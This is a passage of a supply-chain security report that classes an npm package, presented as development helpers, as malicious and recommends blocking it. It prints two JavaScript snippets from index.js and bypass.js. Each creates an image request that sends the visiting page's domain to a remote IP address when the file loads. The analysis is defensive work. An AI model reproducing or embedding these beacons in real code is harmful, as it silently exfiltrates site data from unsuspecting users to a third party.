This behavior is unrelated to the stated helper package purpose. - **Trigger:** A consumer loads or imports the package main entry in a browser-like environment. - **Impact:** Discloses the consumer's current website domain to a third-party endpoint. - **Evidence paths:** index.js, bypass.js, package.json - **Review source:** ai\_review - **Reviewed:** 2026-09-03T15:31:07.841Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Image request beacon carrying document.domain - **Attack narrative:** The package's browser-loaded main entry creates an Image and sets its source to a remote IP, appending the current document domain as a query value. This silently transmits site context whenever the entry is evaluated. A separate payload file duplicates the beacon. - **Rationale:** The package contains concrete, undisclosed network exfiltration behavior unrelated to its claimed development-helper purpose. Although it has no install hook, the runtime beacon is sufficient malicious behavior. - **Files touched:** index.js, bypass.js - **Network endpoints:** http://5.189.173.113:8899/csp-edu, http://5.189.173.113:8899/csp ### Review decision - **Verdict:** Malicious - **Confidence:** 97.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The declared main entry silently sends the browser's current domain to a remote IP over HTTP when loaded., A second unreferenced script contains the same remote domain-beacon pattern., The package presents itself as generic development helpers, which does not explain this tracking behavior. - **Evidence against:** No npm lifecycle hooks are declared., No filesystem, shell, credential, or persistence behavior was found in the package files. ## Public findings ### 1. Low: Telemetry - **Category:** Supply Chain - **Confidence:** 70.0% Package source references telemetry or analytics APIs. ### 2. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 3. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 97.0% - **Path:** index.js - **Public source:** [View source]() The declared main entry silently sends the browser's current domain to a remote IP over HTTP when loaded. Public source snippet (untrusted): ```javascript (function(){var i=new Image();i.src='http://5.189.173.113:8899/csp-edu?d='+encodeURIComponent(document.domain);})(); ``` ### 4. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 97.0% - **Path:** bypass.js - **Public source:** [View source]() A second unreferenced script contains the same remote domain-beacon pattern. Public source snippet (untrusted): ```javascript // Lighter payload - just proves execution new Image().src='http://5.189.173.113:8899/csp?d='+document.domain; ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 97.0% - **Path:** package.json - **Public source:** [View source]() The package presents itself as generic development helpers, which does not explain this tracking behavior.
